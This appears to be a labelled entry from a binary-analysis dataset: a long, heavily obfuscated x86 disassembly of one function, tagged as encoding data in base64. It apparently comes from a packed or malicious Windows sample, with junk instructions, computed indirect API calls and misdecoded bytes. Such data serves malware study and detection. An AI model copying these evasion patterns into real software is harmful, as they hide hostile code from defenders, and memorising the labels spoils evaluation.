Function at 0x403b60
Capabilities:
Encode data using base64

Disassembly:
xor ebx, ebx
rol ebx, 9
test dword [0x40f47c], ebx
je 0x40102d
inc dword [0x40f5c5]
inc dword [0x40f006]
inc dword [0x40f46b]
dec dword [0x40f33c]
mov eax, 0x344a15
xor ebx, eax
and dword [0x40f19b], ebx
add dword [0x40f63c], 0x63
jbe 0x40106d
mov ebx, dword [0x40f2e3]
xor dword [0x40f2e3], ebx
mov ebx, dword [0x40f13b]
mov dword [0x40f13b], ebx
mov ebx, dword [0x40f04f]
add dword [0x40f04f], ebx
sub dword [0x40f5ab], ebx
sub esp, 0x1cf
call dword [ecx]
push 0xdb2d3
pop esi
mov ecx, 0x2cd4e1
add esi, ecx
sub dword [0x40f599], esi
mov eax, esi
test dword [0x40f4e2], eax
jb 0x4010ac
inc dword [0x40f151]
rol dword [0x40f5db], 7
ror dword [0x40f23f], 7
rol eax, 0xa
mov esi, eax
rol dword [0x40f4f9], 7
mov dword [str.JuhKWlTmQKYthV], esi
mov dword [0x40f46a], esi
jmp 0x3daa5317
lea edi, [ebp + 0x4a]
dec edi
or dword [0x40f001], 0x1c6244
je 0x4010f5
push 0x3b
pop dword [0x40f631]
push 0x1f
pop dword [0x40f14a]
mov ebx, dword [0x40f665]
or dword [0x40f665], ebx
add dword [0x40f288], edi
rol dword [esi], 0x6e
arpl word [eax - 0x15324782], ax
pop edi
bound ebp, qword [edi - 0x13]
xchg ebp, eax
jne 0x401152
rcr byte [ecx], 0x18
in al, dx
jge 0x40118a
push ss
xchg edi, eax
invalid
mov ecx, 0
mov eax, 0x68481
xor ecx, eax
sub dword [0x40f112], ecx
test dword [0x40f41c], ecx
jne 0x401144
rol dword [0x40f125], 5
inc dword [0x40f0c4]
rol dword [0x40f625], 1
add dword [0x40f4d3], ecx
shr ecx, 7
dec dword [0x40f5fb]
mov ebx, 0x2e
add byte [ebx + 0x2e], bh
xor ecx, ebx
mov dword [0x40f529], ecx
into
push esi
mov dword [eax + 0x33], esp
fild dword [ecx + 0xeb17e3]
add byte [ebx + 0x1d0917c3], al
aaa
inc eax
add byte [ebx + 0x40f38d05], al
add byte [ecx + 0x72], bh
sbb dword [ebx + 0x40f0ea1d], ecx
add byte [ecx], al
sbb eax, 0x40f0ea
dec dword [0x40f264]
ror dword [0x40f648], 4
xor dword [0x40f666], ebx
call 0xeba90666
push ebp
mov ebp, esp
sub esp, 0x6c
add dword [0x40f0be], 0x1dea
or dword [0x40f595], 0x10
push 0x40f276
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoW]
and dword [0x40f2d0], eax
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
and dword [0x40f3d8], eax
or eax, eax
jne 0x40120a
add dword [0x40f187], eax
add eax, 0x1b5d66
mov esi, eax
imul esi, esi, 0x1afec7
sub esi, 0x33d83d
jae 0x403bd5
rol dword [0x40f37c], 6
mov edi, dword [0x40f420]
mov dword [0x40f420], edi
rol dword [0x40f425], 5
and dword [0x40f130], esi
xor dword [ebp - 0x48], esi
push 0x40f288
push 0x1624c3
push 0x40f0d6
push 3
mov edi, 0x3a6669
add edi, 0x5fbd7
push dword [edi]
pop dword [0x40f582]
mov edi, dword [0x40f582]
and dword [0x40f3d0], 0x7d
call edi
add dword [0x40f650], eax
or eax, eax
jne 0x40120a
and dword [0x40f34d], 3
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_IsValidCodePage]
add dword [0x40f60d], eax
or eax, eax
jne 0x4011a2
push eax
inc dword [0x40f0a2]
push 0x40f5d5
push 0x129b14
push 0xffffffffffffffff
mov ecx, 0x887abd
dec dword [0x40f100]
sub ecx, 0x48170d
call dword [ecx]
and dword [0x40f618], eax
test eax, eax
je 0x40100e
push eax
lea eax, str.JhJrxQGpFbYQUcnccI_848_3___02K
push eax
call fcn.00401264
or al, al
je 0x403c87
mov eax, esi
or edi, 0x71
cwde
xor dword [0x40f4d3], eax
mov edi, 0
push edi
push edi
push edi
push edi
shr eax, 0x10
lea eax, [0x40f43b]
push eax
push dword [0x40f5f2]
push str.Pyto
push dword [0x40f1a2]
push dword [0x40f53a]
and dword [0x40f471], 0x7c
push 0x40f5c8
push dword [0x40f2a1]
push 0x40f524
push 0
push ebx
call fcn.004024b4
or dword [0x40f623], eax
mov edx, 0x2754b7
add edx, 0x190f21
push dword [edx]
pop dword [0x40f546]
mov edx, dword [0x40f546]
dec dword [0x40f11b]
call edx
sub dword [str.dEVncvZfHYEhzwe_______7__8_9_ENOXaqXTjFr], eax
push eax
push eax
push eax
push eax
push eax
mov esi, 0x272085
add esi, 0x194357
mov esi, dword [esi]
call esi
mov dword [0x40f462], eax
add eax, 0xa964e
lea ebx, [ebp + 0x78]
mov edi, 0x72
add ebx, edi
sub dword [0x40f291], 0x23
ja 0x403d3a
dec dword [0x40f0ba]
mov edx, ebx
sub dword [ebp - 0x28], edx
and eax, 0x5c
mov ecx, eax
xor edi, edi
inc edi
add edi, 0x3e
jbe 0x403d58
mov ebx, dword [0x40f594]
add dword [0x40f594], ebx
test dword [0x40f48b], edi
je 0x403d68
push 0x30
pop dword [str.N2_7_1__.9_]
inc dword [0x40f635]
sub dword [0x40f504], edi
mov ebx, edi
or dword [0x40f1a7], 0x58
je 0x403d9e
mov edi, dword [0x40f5fd]
sub dword [0x40f5fd], edi
mov esi, dword [0x40f08d]
sub dword [0x40f08d], esi
ror dword [0x40f2d0], 3
and ebx, 0xa82d
add dword [str.JhJrxQGpFbYQUcnccI_848_3___02K], 0x11
jbe 0x403db4
ror dword [0x40f4e0], 4
and dword [ebp - 0x48], ebx
and ecx, 0x4a
mov esi, 0
ror esi, 0x18
mov dword [0x40f2bd], esi
sub ecx, 0x3f
mov edi, ecx
lea esi, [edi + 0x4b]
sub dword [0x40f03e], esi
or dword [0x40f3d1], 0x278904
jb 0x403dea
push 0xb
pop dword [str.OsGOAfngGDvtsignf]
test dword [0x40f528], esi
ja 0x403e00
ror dword [0x40f004], 4
ror dword [0x40f650], 7
or dword [0x40f32e], 0x1b16bd
jae 0x403e19
inc dword [0x40f293]
rol dword [0x40f2af], 7
mov edx, 0x70
xor esi, edx
xor dword [0x40f1d3], esi
mov dword [ebp - 0x54], esi
and edi, 0x5b
mov ecx, edi
mov edi, 0x22d7b2
mov edx, 0x103fdd
sub edi, edx
or dword [ebp - 0x38], edi
jae 0x403e4a
push 0x2e06cb
pop dword [0x40f05a]
test dword [ebp - 0x14], edi
jne 0x403e5c
ror dword [0x40f31a], 7
inc dword [0x40f2f8]
sub dword [0x40f4c8], edi
xor dword [ebp - 0x3c], edi
or ecx, 0x3b5bfc
mov ebx, ecx
mov edx, 0
inc edx
or dword [str._______3_Gyc], edx
sub ebx, 0x3b5bfd
jne 0x4011a2
push 0x1ec68
pop esi
mov eax, 0x30d9a5
xor esi, eax
add dword [0x40f403], esi
ror dword [0x40f347], 4
sub dword [0x40f583], 0xa9a3d
jb 0x403ebf
dec dword [str.gIkpDaigmIBDmpdE95__9__9_346:_:341____9462_5X]
or dword [ebp - 0x40], edi
push 0x1c3e8c
pop dword [0x40f55f]
add dword [0x40f3c3], esi
mov dword [0x40f264], eax
push eax
push dword [0x40f64b]
push dword [0x40f461]
call fcn.0040318b
mov ebx, 0
dec ebx
or dword [0x40f2d1], ebx
jbe 0x403efb
rol dword [0x40f442], 1
push 0xecc0f
pop dword [0x40f129]
mov edx, dword [0x40f273]
add dword [0x40f273], edx
mov edi, 0x3d
add ebx, edi
test dword [ebp - 0x54], ebx
jne 0x403f20
rol dword [0x40f4e3], 3
dec dword [0x40f0dd]
sub dword [0x40f311], ebx
push 0x40f357
push 0x7aa62
push 0x40f12d
push 7
mov edi, 0x2b90b
add edi, 0x3da935
mov edi, dword [edi]
mov dword [0x40f0d3], 0x399
call edi
xor dword [0x40f166], eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov dword [0x40f269], eax
push 0x22
push esi
inc dword [0x40f622]
push 0
push 0x40f5b8
push dword [0x40f0a1]
push 0x40f205
call fcn.004013ac
or al, al
je 0x403f8d
lea ecx, [0xc]
sub dword [0x40f2ab], eax
push 0x2c1228
push 0xffffffffffffffff
mov eax, dword [sym.imp.OLE32.DLL_CoInitializeEx]
call eax
and dword [0x40f128], eax
test eax, eax
je 0x40100e
push esi
push 0
dec dword [0x40f425]
push dword [0x40f475]
dec dword [0x40f465]
push 0x40f54f
lea eax, [0x40f401]
push eax
add dword [0x40f194], 0x343
push 0
call fcn.004013ac
or dword [0x40f5c1], eax
push 0
mov edx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edx
sub dword [0x40f404], eax
test eax, eax
je 0x40100e
push eax
lea eax, [0x40f0f9]
push eax
push dword [0x40f656]
lea eax, [0x40f56e]
push eax
push dword [0x40f48c]
lea eax, [0x40f4a7]
push eax
push edx
lea eax, [0x40f566]
push eax
push 0
push dword [0x40f086]
call fcn.00402e98
or al, al
jne 0x404040
mov dword [ebp - 0x3c], edi
add edx, ebx
inc ebx
mov dword [0x40f376], eax
mov edi, 0
ror edi, 8
mov esi, 0x1c6ce7
sub edi, esi
xor dword [0x40f2f5], edi
sub dword [ebp - 0x50], edi
sub dword [0x40f29e], 0x12ee
push 0
mov eax, 0xdb
add eax, 0x1d
inc dword [0x40f46e]
add dword [0x40f62f], 0x1320
dec eax
dec eax
dec eax
add eax, 0x58
sub dword [0x40f0fb], 0x1539
mov dword [0x40f441], 0x15f6
add eax, 0x403773
call eax
test eax, eax
je 0x4011a2
mov ebx, eax
mov edi, 0x2030e2
or dword [0x40f262], eax
shl edi, 1
inc dword [0x40f598]
add dword [0x40f46d], eax
call dword [edi]
add dword [0x40f186], eax
test eax, eax
je 0x401117
push dword [0x40f2aa]
push 0
push 0x40f56d
push 0x72
push 0x1f
push 0x367dd8
push 0
mov esi, 0x8b8239
sub esi, 0x4b2009
call dword [esi]
sub dword [0x40f2a8], eax
or eax, eax
jne 0x40107b
push eax
push 0
push edi
push esi
or dword [0x40f2ac], 0x7f
push eax
call fcn.00402594
and dword [0x40f1ec], eax
push edi
push 0x40f273
push 0x40f5ff
lea eax, [0x40f227]
push eax
push 0
call fcn.004017d8
and dword [0x40f5ac], eax
push 0
push 0
mov esi, 0x203106
xor dword [0x40f4a2], eax
shl esi, 1
mov dword [0x40f4b8], eax
call dword [esi]
and dword [0x40f502], eax
or eax, eax
jne 0x4011a2
push eax
push dword [0x40f46e]
push eax
push 0x44
or dword [0x40f254], 2
push 0x26c2ea
push 0x3e641f
push 0xffffffffffffffff
mov esi, 0x1b8511
add esi, 0x24de9f
mov esi, dword [esi]
call esi
sub dword [0x40f531], eax
test eax, eax
je 0x4010c9
push eax
mov edi, 0x217
dec edi
sub edi, 0x3e
add edi, 0x5c
mov dword [0x40f64e], 0x1b85
mov dword [0x40f345], 0x1aaf
inc edi
sub edi, 0x34
add dword [0x40f3a2], 0xc0b
add edi, 0x402fb7
mov dword [0x40f07b], edi
sub dword [0x40f327], 0x41f
call dword [0x40f07b]
push esi
push 0xffffffffffffffff
mov eax, 0x203060
add dword [0x40f198], 0xf25
and dword [0x40f0cf], eax
shl eax, 1
dec dword [0x40f236]
or dword [0x40f645], eax
call dword [eax]
sub dword [0x40f661], eax
push 0
push 0x40f01e
mov edi, 0x21a822
add edi, 0x1ebb96
push dword [edi]
pop edi
mov dword [0x40f1e9], 0x1aba
call edi
add dword [0x40f63b], eax
push 0x57
push 0x5a
push 0xabb42
push 0
call dword [sym.imp.USER32.dll_DefWindowProcW]
and dword [str.440KiaBsHL], eax
or eax, eax
jne 0x4010c9
push ebx
push 0
push 0
mov esi, 0x203106
xor dword [0x40f3a1], eax
shl esi, 1
sub dword [0x40f5f5], eax
call dword [esi]
mov dword [0x40f14e], eax
push eax
or dword [0x40f4f8], 0x1b
push edi
push 0x13b3c5
push 0xffffffffffffffff
call dword [sym.imp.OLE32.DLL_CoInitializeEx]
xor dword [0x40f5ae], eax
push eax
or dword [0x40f2c5], 0x19
lea eax, [0x40f03c]
push eax
push 0xffffffffffffffff
mov ebx, 0x203060
or dword [0x40f1fc], eax
shl ebx, 1
and dword [0x40f49f], eax
call dword [ebx]
add dword [0x40f1c0], eax
or eax, eax
jne 0x4010c9
push eax
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_IsValidCodePage]
add dword [0x40f664], eax
or eax, eax
jne 0x4011a2
push eax
push 0x40f59d
push 0
push 0
push dword [0x40f032]
call fcn.004022b0
xor dword [0x40f382], eax
ret